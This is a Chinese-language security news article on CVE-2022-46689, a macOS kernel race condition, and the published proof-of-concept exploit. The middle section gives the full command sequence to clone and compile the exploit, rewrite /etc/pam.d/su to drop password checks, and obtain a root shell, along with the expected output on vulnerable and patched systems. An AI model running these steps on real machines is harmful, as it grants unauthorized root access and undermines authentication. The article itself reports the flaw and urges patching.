一名安全研究人员发布了 macOS漏洞的详细信息和概念验证 (PoC) 代码,该漏洞可被利用获取 root 权限并以内核权限执行任意代码。
PoC 漏洞利用的目标是 CVE-2022-46689,该漏洞可能允许本地经过身份验证的攻击者获得系统上的提升权限,由 macOS 内核中的竞争条件引起。通过发送特制请求,经过身份验证的攻击者可以利用此漏洞以内核权限执行任意代码。
跟踪为 CVE-2022-46689(CVSS 得分为 8.4),该安全缺陷由 Google Project Zero 的 Ian Beer 发现并报告,自 macOS Ventura 13.1 于 12 月发布以来提供了一个补丁。
“应用程序可能能够以内核权限执行任意代码,” Apple在其公告中写道。“通过额外验证解决了竞争条件。”
最近,卓微公布 了利用该漏洞所需的 CVE-2022-46689 PoC 代码的详细信息。
如何使用 CVE-2022-46689 在 macOS 13.0.1 上获取 root
在 macOS 13.0.1 / 12.6.1(或更低版本)机器上,运行:
git clone https://github.com/zhuowei/MacDirtyCowDemo.git
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e “s/rootok/permit/g” /etc/pam.d/su > overwrite_file.bin
./switcharoo / etc/pam.d/su overwrite_file.bin
su
你应该得到:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds…
RO mapping was modified
% su
sh-3.2#
如果您的系统已完全修补 (macOS 13.1 / 12.6.2),它应该改为:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds…
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
并且运行su 应该仍然要求输入密码。
成功利用的一些可能后果是感染勒索软件、数据盗窃和后门,因此用户必须应用更新 (macOS 13.1 / 12.6.2 / 11.7.2)。